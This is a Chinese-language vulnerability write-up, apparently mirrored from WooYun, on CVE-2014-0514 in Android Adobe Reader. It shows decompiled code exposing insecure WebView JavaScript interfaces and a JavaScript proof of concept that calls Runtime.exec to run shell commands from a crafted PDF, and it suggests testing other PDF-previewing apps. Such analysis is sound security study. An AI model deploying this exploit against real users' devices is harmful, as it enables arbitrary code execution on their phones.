作者:
livers
·
2014/04/18 14:05
0x00 描述
前幾天老外在fd還有exploit-db上,公佈了Adobe Reader任意程式碼執行的漏洞。
漏洞編號: CVE: 2014-0514
AdobeReader安裝量比較大,又和瀏覽器容器不同,分析一下。
Android Adobe Reader 呼叫webview的不安全的Javascript interfaces。
導致可以執行任意js程式碼。具體檢視WebView中介面隱患與手機掛馬利用。
影響版本:
理論上Android Adobe Reader 11.2.0之前的版本多存在,Android version 11.1.3成功利用。
我檢視了之前的幾個版本例如Android Adobe Reader 11.1.2 如下圖,問題也應該存在。
0x01利用
從反編譯出來的java程式碼看
#!java
public class ARJavaScript
{
[...]
public ARJavaScript(ARViewerActivity paramARViewerActivity)
{
[...]
this.mWebView.addJavascriptInterface(new ARJavaScriptInterface(this), "_adobereader");
this.mWebView.addJavascriptInterface(new ARJavaScriptApp(this.mContext), "_app");
this.mWebView.addJavascriptInterface(new ARJavaScriptDoc(), "_doc");
this.mWebView.addJavascriptInterface(new ARJavaScriptEScriptString(this.mContext), "_escriptString");
this.mWebView.addJavascriptInterface(new ARJavaScriptEvent(), "_event");
this.mWebView.addJavascriptInterface(new ARJavaScriptField(), "_field");
this.mWebView.setWebViewClient(new ARJavaScript.1(this));
this.mWebView.loadUrl("file:///android_asset/javascript/index.html");
}
_adobereader,_app,_doc,_escriptString,_event,_field
這幾個變數都會存在任意程式碼執行的問題.
利用程式碼和之前一樣。
#!java
function execute(bridge, cmd) {
return bridge.getClass().forName('java.lang.Runtime')
.getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
if(window._app) {
try {
var path = '/data/data/com.adobe.reader/mobilereader.poc.txt';
execute(window._app, ['/system/bin/sh','-c','echo \"Lorem ipsum\" > ' + path]);
window._app.alert(path + ' created', 3);
} catch(e) {
window._app.alert(e, 0);
}
}
這裡不同是構造 惡意的PDF。
首先需要一個PDF編輯器,比如Adobe Acrobat(flash達人pz推薦).
然後新增表單按鈕或者書籤等,呼叫事件新增
我這裡看了下button最好演示,和老外的那個poc一樣基本上.
匯入到android虛擬機器裡,開啟,成功復現。
0x02 擴充套件
一些網盤或瀏覽器,看看能否呼叫adobe reader來預覽pdf的應用可能會存在這個漏洞,大部分應用都是直接下載pdf到本地。可以再測試一些能預覽pdf的郵箱之類的應用。
0x03 修復
新版本的Adobe Reader 11.2.0 [email protected]tInterface,老版本的使用者則在adobereader禁用了表單的js執行。 不知道那些防毒軟體能不能檢測到這些惡意poc呢 :)
附上poc.pdf
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!